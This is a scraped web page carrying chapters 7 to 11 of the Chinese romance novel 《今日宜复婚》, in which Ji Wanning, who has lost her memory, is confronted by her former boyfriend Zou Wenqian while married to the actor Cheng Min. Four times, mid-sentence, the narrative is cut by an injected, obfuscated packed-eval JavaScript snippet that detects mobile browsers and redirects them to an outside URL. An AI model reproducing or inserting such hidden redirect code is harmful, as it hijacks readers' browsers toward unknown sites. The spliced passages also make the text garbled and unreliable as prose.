《今日宜复婚》 7. 一更 记忆或许会骗人,但身体和感觉不会——季宛宁在这一刻突然就想起了这句程岷说过的话。 那么现在,她快要冲破胸膛的心跳和那种扑面而来的熟悉感,是在说明什么? “宛宁,”对方的情绪稍定,出声时很轻很温柔,“我是邹邹,邹文谦,你还……记得我吗?” 甚至最后半句,语气里还带着掩藏不住的小心翼翼与期待。 她手指扣着水杯,整个人紧绷得像拉满的弓,视线定格了般锁在眼前的男人身上。 她看起来还算镇定,其实心里慌得不行。脑子里乱糟糟的,什么念头都搅在一起,想转身就跑,可不知道为什么,脚底下就是挪不动,像被邹文谦系了一根绳,轻而易举就困住了她。 两个月前,她确实想过要弄明白“zouzouz”到底是谁,可之后也强迫自己别再去想这个人了。 结果现在,他就这么猝不及防地出现在眼前了。 邹文谦没有催促,就静静地站在那里,无比耐心地等着她的回答。 他太久没有看过季宛宁了,这一刻的重逢,和接下来的每一分每一秒,对他来说都弥足珍贵。 良久。 季宛宁终于很慢、很慢地,摇了摇头。 喉咙有些发哑,她听见自己的声音响起,“我不记得你……抱歉。” 或许这个叫邹文谦的人,曾经是她生命里无法被轻易抹去的存在。可那又怎样呢?即使心跳如擂鼓,即使对他产生了熟悉感,对如今的她而言,他就只是一个实实在在的陌生人。 邹文谦眼中的色彩瞬间就黯淡了,嘴角的弧度僵了一下,随即又努力地向上扬起,“没关系,我们可以重新认识,就从现在开始。” 他在她的对面坐下,伸出手:“你好,我是邹文谦,文是文质彬彬的文,谦是谦谦君子的谦,但其实我人不如其名……”说到这里,他想起往事,不由得弯了弯眼。 “你可以和从前一样叫我邹邹。” 季宛宁没有动,她看着他悬在半空的手,看着他强撑的笑容,心脏莫名一抽,钝钝的疼。 难道说,她曾经对他的感情很深? 她强迫自己语气平稳,并且冷淡:“抱歉,这个位置是我朋友的,她马上就到。” 邹文谦的手在空中停着,五指微微收拢,只抓住一把虚无的空气。 “她人在广州,不会来的。对不起,这顿饭是我拜托乔昭帮忙约你的,否则我也不知道该去哪里找你。” 停顿两秒后,他声音发苦:“我没有联系程岷,也知道他不会告诉我你的消息。” “程岷”两个字突然入耳,季宛宁愣了一下,视线无意间瞟到手上的婚戒,心头一跳,仓促地站起来:“那既然乔昭不来,我就……” 话没说完,邹文谦一步跨过来拦住她,跟着就握住了她的胳膊。力道不算重,却没松开。 季宛宁顿在原地,这突然的接触让她慌了神。等脑子清醒点,几乎是立刻甩开他的手,往后退了半步,抬头看着他,竟一时说不出话。 她明明该生气,却连一句责备的话都讲不出口。 “别走行吗?”邹文谦低下头,掩饰着眼里的受伤,视线紧盯着她无名指的戒指,“我知道你不记得我,不记得我们之间的过去。但可不可以……至少给我一点时间,就当是老朋友叙旧,吃顿饭也好。” 季宛宁还是重新坐下了。 “请问需要点餐吗?”服务员适时拿着菜单走了过来。 “点,我来吧。”邹文谦接过菜单。 这是家粤菜餐厅,他没问季宛宁要吃什么,直接点了六菜一汤,而每一道都是季宛宁爱吃的。 “麻烦给我一杯冰水。” “好的。” 季宛宁扭头看着窗外的街景。 服务员一走,邹文谦就微笑着叫她:“宛宁。” 她深吸一口气,看向他,把整理好的思绪通过语言表达出来:“我猜我们从前应该是互相喜欢,或是谈过恋爱的关系。但在几年前我发生了意外,什么都不记得了。从我醒来的那一刻,我的人生就在重新开始,现在我也已经结婚了,对于被我遗忘的过去,我能做的只有和你说声……”她看着对面男人蹙起的眉峰和慢慢下沉的嘴角,原本一口气能说完的话,猛地哽在了喉咙里。 邹文谦挪开视线,喝完服务员端来的水。水冰凉刺喉,蹿入五脏六腑。 他轻吐了一口气,放下杯子,轻声问:“程岷有和你提过我么?” 季宛宁摇了摇头。 邹文谦冷笑:“意料之中。” “他不提也正常。”季宛宁的维护劲儿上来了,她觉得邹文谦那笑是在讽刺程岷,“换成是你,你会在女朋友面前提她的前任吗?” “我的女朋友从始至终就你一个。”邹文谦忽然说。 闻言,季宛宁陷入沉默。 “先不说这些了,”邹文谦很快转开话题,“我们聊些开心点的,听乔昭说你在画室当老师?” 他转换得自然,接下来的时间里也没再提那些会让季宛宁情绪起伏的事。 他的话不少,没让气氛冷场,季宛宁也变得放松了些。 她吃着刚挑出来的鱼皮,听邹文谦吐槽他留学那几年都快抑郁了,说那边总下雨,十天里八天是阴的。 她看着他说话时飞扬的神采,那张脸确实英俊。心里不由得嘀咕,季宛宁,你眼光倒是不错,净挑好看的谈。 “我们那时候应该是和平分手的吧?”她没头没尾地冒出这一句。 邹文谦听到这个问题,神色一下子就变得尤为复杂:“我们那时候并没有真正分手。” 季宛宁瞪大了双眼,没有分手??? 他声音压得很低:“我一知道你家出事,就立刻从国外赶回来。可我得到消息太晚,等我回来时,你已经出事了。当时程岷不让我见你……再后来,你们就结婚了。” “吃完饭就赶紧回去,下午必须把方案敲定出来。” 方岐一正和同事从车里下来,边走边讨论着下午 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199015|197147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的会议。冷风一吹,他裹紧了外套,视线不经意地扫过街对面的餐厅玻璃窗。 “看看阿岷有没有空,让他开视频也行……”他话音戛然而止。 餐厅靠窗位置,那个侧影是季宛宁吧?而坐在她对面的男人…… 方岐一眯起眼,仔细辨认了两秒,心头猛地一沉。 邹文谦? 他什么时候回来的?还找到了季宛宁?程岷知道吗? 同事没发觉什么异常,“他今天肯定没空啊,昨天回咱们的群消息都是半夜,白天别想联系上他了。” 两人一起进了另外一家餐厅,点餐时方岐一明显是心不在焉。 他思量许久,最终还是点开微信,给程岷发了消息。 岷危,正宫杀回国了! 季宛宁回到家里时,天已经暗了。 那两个新买的抱枕还没拿去新家,她随手扔在了沙发上。 心情乱成一团,根本无法思考。 她在公园里呆坐了一下午,出来时发现邹文谦竟然在外面等着。他送她回来,一路上没再说什么爆炸性的话,只是沉默地开车。 程岷当年……真的是横刀夺爱吗? 不,季宛宁不认为程岷是那种人。 可邹文谦的话一直在她脑子里转,挥之不去。她使劲去想,拼命想,想知道当年到底发生了什么。但越想,头就越疼,像有根刺在扎,太阳穴一跳一跳的。 她越用力,那疼就越厉害。过去的事情像一团雾,怎么也看不清。 最后,季宛宁浑身没了力气,整个人瘫在沙发上。她用手捂住脸,眼泪从指缝里流了出来,湿湿热热的。 凌晨五点,程岷下戏回到酒店,于海拎着东西,无精打采地跟在后面。 进房后,于海从包里拿出几瓶药放在桌上,转身去倒水,“白天忙到忘记吃,你赶紧先吃了再去洗澡。” “嗯。你回去休息吧。”程岷把手机充上电,一天没看的微信跳出好几条未读消息: 【阿岷,邹文谦回国了你知道吗?】 【我今天看见他和你老婆一起吃饭。】 【你还不赶紧回来一趟,好不容易撬来的墙角万一被撬回去了,有你哭的。】 看见这几条消息的内容,程岷脸上没什么表情,连眼皮都没抬一下。但他保持这个姿势,一动不动地坐了快半个小时,才点开备注为“老邹”的聊天框。 里面只有对方在两个月前发来的一条消息:【和她离婚。你抢走的,该还给我了。】 他猛地关了屏幕,手机扔向远处的沙发。随后缓缓躬下背,额头抵住指节,呼吸在安静的房间里逐渐清晰,频率又短又急促。 起身走向放着药的桌子时,动作比平时快了些。 药瓶盖拧开得很费力,倒出药片时,拿瓶子的手整个都在抖。他把药片送进口中,干涩地咽下后,双手撑着桌沿,低头大口喘气,额角渗出一层冷汗。 半晌,呼吸才勉强平复。他咬紧牙关,转身大步走进浴室。 8. 二更 今天下课又比平时晚,季宛宁最后一个离开画室,从楼上下来时,细小的的雪花落在她肩头。 她低着头穿过马路,往对面的楼里走。出租房里空了不少,该搬的东西已经搬去新家,和房东也说好了,年后就退租。 离程岷放假回来还有不到一天, 新家已经完全布置好了,他回来就能直接住。 这几天,她有好几次想问问他,关于邹文谦,关于过去……可话到嘴边,又总咽了回去,根本无从开口。 她还查了很多资料,关于失忆后能恢复记忆的概率有多少。 网页上跳出的答案五花八门,有的说取决于脑损伤的程度,有的说需要强烈的熟悉感刺激。 熟悉感么……邹文谦算不算?她对他的熟悉感确实很强,可只带给了她情绪上的冲击,并没有让她想起什么。 还有说要看失忆是心理性还是物理性。她是车祸导致的,这些年程岷没少带她去医院复查, CT、报告、药,都明面摆在眼前。 如果是心理性失忆,难道当年她受过很大的心理创伤? 感情上?邹文谦出国留学,她伤心过度吗? 或者是亲情?可程岷告诉她,她的父母都是因病离世,时间上相隔几年,过程平顺。 想着想着,电梯到了七楼。季宛宁走出来,换鞋时瞥见鞋架上多了一双男士皮鞋。 她眼睛一亮,心跳快了几拍,立刻掏出钥匙插进锁孔。 门开了。 屋里没开灯,但空气中有种熟悉的、属于另一个人的气息。 “程岷?”她不确定地叫了一声。 鞋是他的。 沙发上的人影闻声动了动,抬起头朝门口看来。 模糊的光线里,只能看清半个身形轮廓。 就是程岷。 季宛宁的心落了下来,她放下背包挂好,伸手按亮了客厅的灯。 “你提前回来了?”她边问边往里走,没去沙发那边,而是走向饮水机,拿起杯子接水。 程岷“嗯”了一声。 他站起来,目光跟着她,“热了汤,现在喝点?” 季宛宁握着水杯,点了点头:“正好饿了。” 她喝了两口水,看着程岷走向厨房的背影。 他看上去有些疲惫,大概是因为要放假,剧组这几天都在赶进度,拍摄排得比平时更满,恐怕都没怎么睡过觉。 看着看着,她放下水杯,也跟着走进了厨房。 料理台上的汤锅正咕嘟咕嘟冒着气泡,浓郁的香气在这不大的空间里弥漫开来。 季宛宁从背后抱住在盛汤的男人,把脸贴在他坚实的背脊上。 “好香啊,”她嗅了嗅,“是不是‘MY SOUP’家的花胶老鸡汤?” “是。”程岷放下汤碗,关掉火,拍了拍她的手,“先去喝汤。” “再抱一下吧。”她软着声说。 他转过身,把她完全拢进怀里。 / 季宛宁并不是百分百相信了邹文谦的话,但也绝不可能当作什么都没听见。 夜里躺下,她侧过身,在昏暗中看着程岷沉睡的侧脸。轮廓分明,鼻梁挺直,即使在睡梦中,他的眉头也是紧蹙着的。 她把手伸到他的眉宇间,慢慢抚平他的眉头。 她更想问自己,如果程岷告诉她,当年横刀夺爱的的确是他,她会是什么反应?会因此觉得他卑劣、不堪,然后离开他吗? 这个念头刚冒出来,心里就涌起一阵强烈的、近乎本能的抵触。 不。 她立刻给出了答案。 我不要离开程岷。 程岷闭着眼,但没睡,也知道季宛宁还醒着,感受到眉毛上温热的指温时,他睁开眼睛,看着她走神的脸。 良久之后,她睫毛颤了颤,眼神慢慢聚拢,对上了他清醒的视线。 季宛宁顿了下,轻声道:“我吵醒你了吗?” 程岷:“我还没睡。” “噢。”她垂下眼睫,“我刚才在想事情。” “嗯,”程岷低声,“我知道。” “你知道?”季宛宁抬起眸,好奇问他,“那我在想什么,你能知道吗?” 程岷看着她,夜色里,他眼底的情绪沉静得像深潭。 “邹文谦。” 这个名字,毫无波澜地从他口中念了出来。 季宛宁的呼吸下意识屏住了,她看着程岷,想从他脸上找出任何一丝情绪,比如愤怒、惊慌、或是被她知道“事实”后的狼狈。 可什么都没有,他的神色平静到像是置身事外,眼睛紧锁着她,像在观察,也像在等待。 她忽然感到一阵莫名的气短,像是被人迎面轻轻推了一把。 “你……你怎么知道?”她问出口,才发现自己声音有点干。 “他找你了。”程岷用的是陈述句,不是疑问。 季宛宁沉默了几秒,点了点头:“嗯,前两天,乔昭打电话约我吃饭,其实是他要见我。” 她盯着程岷的脸,又补充 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199016|197147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“他跟我说了一些过去的事。” 程岷不说话,只看着她,等她继续。 “你不好奇他说了什么?” “不好奇。” 他答得那么干脆,连想都没想一下。这副样子反而让季宛宁心里拱起一股火。 难道程岷天生就是个没有情绪的人吗?总是这副冷冷淡淡的样子,做什么都像隔着一层冰。是性格就这样,还是说……他根本就不在乎她,所以连一点多余的反应都懒得给? “程岷,很早之前我就想问你了,”她心里有气,一把掀开她这边的被子,“你对我这么好,是不是因为以前亏欠过我?觉得对不住我,所以才在我出事之后,加倍地补偿我?” 房间里暖气很足,可她心头燥热,胸口被说不清的委屈和火气顶着。 程岷没有回答,视线扫过了她身上那一层薄薄的睡衣,他沉默地坐了起来,把被子重新盖回她身上。 季宛宁立刻挣扎着想掀开,他迅速用单膝压着被子的一边,同时伸手摁住另一侧,将她连人带被虚虚地困在自己与床之间。 四目相对,他清楚地看见季宛宁的眼圈都气红了,眼睫毛湿漉漉,她在委屈、愤怒,眼里还有一股不肯服输的执拗。 好熟悉…… 他恍惚间以为,曾经的季宛宁回来了,并且恢复了记忆。 是邹文谦的原因吗?让她变得更加鲜活了。 他看着她,喉结滚动了一下,“他说了什么?” 季宛宁直视他的眼睛,胸口起伏得很厉害:“你不希望我恢复记忆的原因,是怕我想起来,当年我和邹文谦根本就没真正分手,是你把我从他身边抢走的,对吗?” 话说完,后悔也跟着来了。 她不想这样的,她为什么要说这么伤感情的话?程岷在外面累死累活,刚回家想好好歇歇,却被她揪着不放,用这种咄咄逼人的架势逼问。 最要命的是,眼泪也跟着不争气地掉了下来。 这下好了,她看起来倒像是受了天大的委屈。 季宛宁心里又急又恼,狠狠抹了把脸。 她明明是站程岷这边的,干嘛非要问出个所以然啊?现在倒好,话像刀子一样捅出去了,人也得罪了,自己还在这儿没出息地掉眼泪。 程岷没动,也没帮她擦泪。 他就这么看着她眼泪往下掉,看着她胡乱地用手背去抹。直到她动作慢了下来,他才很慢地开口: “他没说错。” “你就是我趁虚而入抢过来的。” 9. 第 9 章 季宛宁的眼泪戛然而止。 “他现在回来了。”程岷抬手,用指腹拂开她被泪水浸湿的头发,“还要我把你还给他。” 他的手指很凉,碰在她的脸上,让她不自觉瑟缩了一下。 季宛宁侧头躲开他的手,“他怎么能这样说话……” 程岷忽然笑了一下,很短,笑完脸上又没表情了。 他伸手拿过床头的纸巾,抽了几张,然后用虎口卡住她的下巴,让她抬着脸,仔细地给她擦眼泪。 “邹文谦这人,挺讨厌的吧?”他问,眼睛看着她红红的鼻子。 讨厌倒不至于,就是那个“还”字,听着特别不舒服,好像她季宛宁是个东西似的。 “以前他很喜欢你。”程岷把纸巾团了团,扔进床边的垃圾桶,“当然了,那时候你也非常喜欢他。” 季宛宁抿住唇角,没有吭声。 程岷翻身躺下,没进被窝,一半的身体压着被子,他手臂搭在额头上,遮住了眼睛,只有紧绷的下颌线暴露了一丝情绪,“他运气好,被有钱人资助去了英国。后来你也要跟着去,但出现了意外,就没去成。” 季宛宁眨眨眼,问他:“然后我们就结婚了?” 也许是因为不记得,又或许是他讲得太轻描淡写,她心里并没掀起太大波澜。不过,为爱追去英国……她当年,大概真的像他说的那样,非常喜欢邹文谦吧。 程岷:“嗯。” 季宛宁盯着天花板上的纹路,过了一会儿,才轻声问:“为什么?” 程岷:“什么?” “你想要对我好,可以有一百种方法,为什么会决定结婚?简单粗暴点来说,就是你为什么要把我抢过来?”说着说着,她自己先逃避了,不想听答案了,匆忙转开话题:“过年我们回广州吧,我想回去看看。” 她说完,安静地等他的回应。 旁边,程岷在沉默,一直都没有应声。 季宛宁等着,等到自己睡着。 半夜里,身边才有了点动静。 程岷掀开被子,侧躺着,胳膊伸到她脖子下面,让她枕着。另一只手搭在她腰上,把人往怀里带了带。 连轴转的工作,加上前几天几乎没合过眼,他的身体早已到了极限。今夜同样难熬,仿佛有把刀子在内里慢慢磨。 一闭上眼睛,脑海里反复回荡着那些他最不愿意想起的旧事和面孔,头疼得厉害。 烦躁之下,他想掀开被子下床。 就在此时,一道清脆稚嫩的声音突然间在他耳边响起: “好啦好啦,不要再预支痛苦了~” 程岷猛地睁开眼,侧头看向枕边人。 季宛宁仍在熟睡,呼吸清浅,侧脸在朦胧的夜色里显得很恬静安稳。 胸口那股闷得发慌的感觉,莫名其妙就散了一些。 他吐出一口气,低下头,把额头靠在她温热的脖子后面。 这句话是他四岁的时候听过的,说这话的是当时同样四岁的季宛宁。 “预支痛苦”是什么意思,他根本听不懂,只觉得这个热情又可爱的女孩子,特别的厉害,连这么深奥的话都说得出。 他那时候对她很是崇拜。 / 年三十的中午,季宛宁和程岷搭乘最早的航班飞往广州。 她没告诉乔昭要回去过年,决定回来,也并非因为邹文谦。 她想去找回自己的记忆。 那里是她的家乡,是她长大的地方,也是她出事的地方。也许回到“熟悉”的广州,会对她的记忆恢复有很大的帮助。 这个真正的目的,她没有对程岷明说。而他也没有问,或许他早就猜到了。 早上醒来他做完早餐,就打电话让于海帮忙订票,接着开始收拾行李,直到上了飞机,他也没有表现出一点的不愿意。 此时,他坐在她旁边的座位上,正专注地看着手里的剧本。帽子压得很低,口罩遮住了大半张脸,只露出一双眼睛。 季宛宁偏头看他,只能看见他垂着的睫毛,还有偶尔动一下的眼珠。那眼神很平静,什么都看不出来。 再往下点,就能看见他眼下的黑眼圈挺重的。 “饿了?”大概是她的目光停留太久,程岷抬起头问。 季宛宁摇摇头:“你要不要歇会儿?还有两个多小时呢,剧本晚上再看也行。” “睡半小时。”程岷合上剧本,摘了口罩。 剧本被季宛宁拿了过来,她把眼罩递给他,“到点了我叫你。” 他大概是真累了,躺下没多久,呼吸就变得很均匀。 她收回视线,目光落在手里的剧本上。随手一翻,就看见纸张边缘有几处不太明显的褶皱。 是捏出来的痕迹。 她再次看向程岷,看了好一会儿才伸出手,慢慢地把他滑到胸口的毯子往上拉了拉,盖住肩膀。 程岷醒来时,飞机还有二十分钟左右降落。他摘掉眼罩,适应了一下光线,然后转过头。 旁边座位上,季宛宁眼睛直盯着面前小桌板上的剧本看,嘴里小口小口吃着面包,很入神,嘴角还沾了一点小小的面包屑。 舷窗外的光斜斜打进来,落在她侧脸上,皮肤细腻得发光。 程岷没出声,只是微侧过身,手肘支在舷窗边的台子上,就这么懒洋洋地看着她。 过了会儿,见她依旧没察觉他醒了,他把手伸过去,用拇指碰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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季宛宁垂下眼睛,又喝了一口水,才低低应道:“好。” 车子驶出机场,一路向东。 不久后,穿过略显空旷的除夕街道,最后拐进一条安静的、两旁种着老树的道路,停在一栋红砖与米白色外墙相间的独栋老式洋楼前。 整条街都是这类风格的房子,屋顶大多都铺满了落叶,像是很久没人住过了。唯独眼前这一栋,以及紧邻的那一栋,墙面很光洁,尤其是隔壁那栋,窗台摆着许多绿植,门口干净,一看就有人长住。 季宛宁下了车,这个位置的阳光很足,她看着眼前的房子,心里忽然冒出一种久远的熟悉感。 这里是她的家。 她无比确定。 她脚步变得有些沉重,走到那扇黑色雕花铁门前,透过缝隙,看着里面的庭院和小楼。 10. 第 10 章 程岷拿着行李过来,从口袋里摸出一把钥匙插进锁孔,打开了这扇厚重的铁门。 就在这时,隔壁院子里传来一道响亮的女声: “阿哥!落楼啦,老豆话准备贴挥春喇!”(哥哥!下来啦,爸爸说准备贴春联啦!) 是乔昭的声音。 闻声,季宛宁转头向隔壁看去。 那是乔昭家对吧,也就是程岷的“家”。他似乎是随母姓,哪怕后来来到了乔家住,也没入乔家的户口。 等收回目光,发现程岷已经提着箱子走到了洋楼的门前,用另一把钥匙打开了那扇深色的木门。 他站在门口,没有看她,只出声道:“外面冷,先进来。” 屋内的家具大部分都蒙着防尘的白布,空气中漂浮着久没人住的灰尘味和淡淡潮气。 季宛宁站在门口没进去,她眼睛盯着门框边沿那点暗黄色的纸痕,伸手摸了摸,纸痕很薄,边缘脆脆的,颜色黄得发旧,一看就是贴了很久,从白色慢慢变成这样的。 不像过年贴的春联,她心里嘀咕了一下,但也没细想。 走进客厅,她站在中间,环视着这个自己一点都不记得的家。 程岷打开了窗,然后把盖在家具上的白布掀起来。 茶几、花瓶、窗帘、沙发……一样样东西露出来。家具颜色都很柔和,米白、浅黄,窗帘是带着小碎花的棉布,花瓶里还插着早就干掉的花。 这个家看着就让人觉得很温暖。 季宛宁心想,她的妈妈以前一定是个温柔又心细的人。 程岷告诉她,她的房间在三楼。那时从她能一个人睡开始,整层楼就都归她了,是独属于她的私人空间。 房间和她想象的不太一样,她原以为自己小时候会喜欢粉粉嫩嫩的风格,没想到是小清新风。家具大多是定制的,样式简单,观感舒服。窗边摆着张宽大的书桌,墙壁和衣柜上都贴着梁静茹的古早海报。 还有个很大的书架,除了放书,最上面那层几乎被CD摆满了。她踮脚看了看,一眼扫过去全是梁静茹,从早期到后来,好些版本还是重复的。 刚想抽一张出来看看,却瞥见旁边有个面朝下扣着的相框。她下意识地拿起翻过来,原来是一家三口的合影。背景就是楼下院子,阳光很好,草很绿。 照片里的季宛宁大概只有四五岁,穿着白色的公主裙,手里拿着个千禧公主芭比,被父母拥簇在中间。 奇怪的是,两个大人都笑得很开心,就她不一样,嘴巴抿得紧紧的,脸颊鼓得像包子,眼睛也不看镜头,一副气鼓鼓的样子。 怎么挑她不开心的时候拍全家福啊……季宛宁盯着照片,在心里一边埋怨着,一边落着泪。 她心里空空的,这种明明看见了自己生命中的一部分,却无法记起当初的感觉,甚至还很陌生,让她感到无力,特别难受。 程岷在一旁看了许久,直到她落泪,他才走了过来,沉默地揽她进怀里。 她没哭出声,只是靠着他,眼泪不停地流。她自己也不知道为什么这么难过,心口堵得慌,从进门开始就这样了。 天黑之后,洋楼的灯一亮,街坊邻居很快就发现空了多年的季家竟然有人了,最先知道的自然是隔壁。 乔家的年夜饭吃得很早。 饭后,乔家兄妹打算去兜会儿风,晚点再和几个朋友去喝夜茶。 车子从院子里缓缓驶出,正对着小镜子补口红的乔昭,余光瞥见旁边季家的楼里竟亮着灯,她立刻扭头:“阿哥,停车!” 开车的乔宇踩下刹车,顺着乔昭的视线也看到季家久违地亮起了灯。 “是宛宁回来了吧。”乔昭道。 听到这句话,他的手不自觉摸向安全带。是打算熄火下车的,动作却忽然停住,他就那么坐了两秒,又把手搭回了方向盘。 “关我们什么事?”他看着前面,“你不是说她跟程岷在一起么?” “进去看看呗,”乔昭把口红往包里一扔,伸手推开车门,跳了下去。 关门时,她转过身,对着车里的人扬眉一笑,“他好歹也是我们的大佬,大过年的,总得去打声招呼吧。” 乔宇冷眼睨着她,“要去赶紧滚。” “嘭”一声后,车子油门一踩,敞篷盖缓缓打开,之后便扬长而去。 季宛宁哭过后睡了一觉,醒来本想和程岷一起大扫除,但他雇了人来做,她便辅助他贴完了家里要贴的春联。 这会儿还没吃上饭,刚把几盘洗好的菜端上餐桌,就听见院门外有人喊她的名字。 “好像是乔昭。”她停下动作,看向门口。 程岷端着锅底从厨房出来时也听见了,他把锅放到炉子上,擦了擦手:“我去看看。外面冷,你别出去。” 院门外,乔昭看见出来的是程岷,心里就知道这门多半是进不去了。 铁门拉开一道缝,她歪着头,露出一个灿烂的笑容:“新年好啊,大哥。” 程岷站在门内,没有要让她进来的意思:“什么事?” “没啊,”乔昭抬着下颌指了指隔壁,“回来也不跟爸说声?刚才吃年夜饭的时候他还念叨你呢,团圆的日子连个电话都不打。” “晚点我会过去一趟。” 乔昭挑了挑眉:“带宛宁一起?我已经告诉他们宛宁谁也不记得了。” 程岷眉头微皱。 “安心啦,”乔昭的笑容很乖,“宛宁也是我的朋友,当年她家具体出了什么事我肯定不会在她面前乱说。她也是爸妈看着长大的,他们心里有数,知道什么能提,什么不能。” 程岷并没有带着季宛宁一起过去。 他不会在乔家待很久,毕竟那个家有不欢迎他的人在。 家里只剩下季宛宁自己后,她在门口听了会儿远处的烟花声,然后搬了个小板凳去院子里坐着,一边烧着小烟花看,一边等着程岷回来。 院子角落有两颗枇杷树,冬天叶子还挺多。粗壮的树枝下挂着个秋千,小小的木板座两边是铁链子,早就锈成了深褐色。 她看着那秋千,能想象到儿时的夏天,自己抓着铁链,被人推得老高、笑得无忧无虑的样子。 现在她好像有点明白,下午自己为什么会哭了。 那些被她忘掉的过去,一定很好吧。住在冬天大多数时间都暖洋洋的广州,有爱她的爸爸妈妈,还有一直守在她身边的程岷。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199018|197147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么就都忘了呢? 她抹了抹湿润的眼睛,蹲下身仔细检查了一遍地上,确认没有零星的火星子了,才起身往院门口走。 她要去乔家。 门外的空气里飘着股烟花味,季宛宁吸了吸鼻子,正要转身往隔壁乔家那边走,脚步却猛地顿住了。 除夕夜的街道,树上都挂着红灯笼,每盏都亮堂堂的。可就在不远处的墙根下,有一小片没有光的地方。 那片阴影里,她看见一个人影蜷缩着蹲在地上,手紧紧抱着头。借着灯笼的光,她能看清那人身上穿着的,正是她新买给程岷的那件白色羽绒服。 她愣怔在原地几秒,随即快步走过去,边走边疑惑地喊着程岷的名字。 可他一点反应都没有,像是完全听不见。他左手垂落在地上,指间夹着一根点燃了的烟。 程岷很少抽烟,在她面前或者要和她见面前也基本不抽,只有在工作中遇上烦心事的时候才会抽。 是不是刚才在乔家发生了什么?她的心一下子就揪紧了,快步跑到他面前,蹲下身,带着暖意的掌心贴在他的脸侧:“程岷?” 男人身体明显僵了一下,他慢慢抬起头。 黑暗中,季宛宁眼里明晃晃的担心,直直地撞进他眼里。 原来刚才不是幻听。 就在这时,手指忽然一疼,原来是烟快烧到头,烫着了。 这点疼让他立刻清醒过来。 他移开视线,顺手把烟头用力摁在地上碾灭,动作有点狠。 开口时,嗓子发哑:“怎么出来……” 话没说完。 季宛宁突然扑了过来,抱住了他的肩膀,脸埋在他脖子那儿,衣服上都是外面的冷气。 “程岷,外面好冷啊,我们快回家吧。” 她明白程岷,就算现在问他怎么了,他也不会说。谁心里都有点不想告诉别人的事,不愿意讲,就是不想让任何人知道。 所以啊,她就当不知道吧。 程岷愣了几秒,然后手臂一收,更用力地抱紧了她。 “好,回家。” “快点快点!”季宛宁从他怀里挣出来,拽着他的胳膊就往回走,“沈马的小品要是错过了,我可跟你没完!” “还早……”程岷想解释。 “哎呀,程岷,”她打断他,嘴里碎碎念着,“今年是地方台春晚,明年你能上央视的不?” “我努力。” “可你要是上了央视春晚,不又没法陪我过年了?” “那就不上。” “哟,口气不小啊你。” “……嗯。” 今晚真的冷,风刮在脸上像刀子,哈口气都能看见白雾。只有彼此牵着的手是热的,靠在一起的肩膀是温暖的。 / 邹文谦不只是在回国的当天找了季宛宁,后面几天他每天都想见她,可她总躲着。 他难受,着急,又一点办法都没有。 他本来打算在广州过完年三十,就马上再去北京,直接找程岷谈。没想到新年钟声刚过,程岷的电话就先打来了。 电话里说得很简单——见面,地点竟然就定在季宛宁家。 11. 主男二视角 邹文谦什么也没多问,立刻穿上外套就出了门。 “又去边度啊?”正在客厅看春晚的吴秀淇瞧见儿子急急忙忙往外走,赶紧起身问。 邹文谦一把拉开那扇掉漆的铁门,“我好快就返哩。” 他刚回国,年后才去公司正式报到,过完头一个月会给配车。年三十深夜,出租车少得可怜,网约车也等了很久才有人接单。 他家到季家这条路,从初中到出国前他走过无数次。这次回来,他拼尽全力也要让这条路重新走得名正言顺。 二十分钟后,车子驶入那条安静的街道,在季家洋楼旁停下。 下车时,邹文谦抬头望向三楼,正中间那个带阳台的房间是季宛宁的。 以前来接她上学,他就喜欢站在这个位置望着她的阳台。而她下楼前总会先跑到阳台上,趴在围栏边,探出身子笑着冲他大声说话。 那些回忆太美好了,这几年他常常想,当年的决定到底对不对。 今晚的见面,他一定要和程岷谈个明白。 整个季家黑漆漆的,看不出有没有人。邹文谦来到门旁,往里面看了几眼后,掏出手机正准备给程岷打电话,门就开了。 面前这个人,曾是他最铁的哥们。他们一起守在季宛宁身边许多年,为了替她出头还跟别人打过架。 说起来,三年前的最后一次见面,他们还狠狠干了一架。 “在这里谈?”他直接问。 程岷从门里出来,反手带上门,语气很淡:“旁边。” 邹文谦把手插进外套口袋,跟着往边上走了几步,冷嘲道:“我还以为你打算带着宛宁躲我一辈子。” “她刚睡着。”程岷停下,往后一靠,懒懒地倚着墙,“小声点。” 邹文谦的体面差点没维持住。 这几年来,他几乎不敢想季宛宁和程岷在一起是什么样。程岷现在就这么轻飘飘一句,就像是在告诉他,他们之间有亲密。 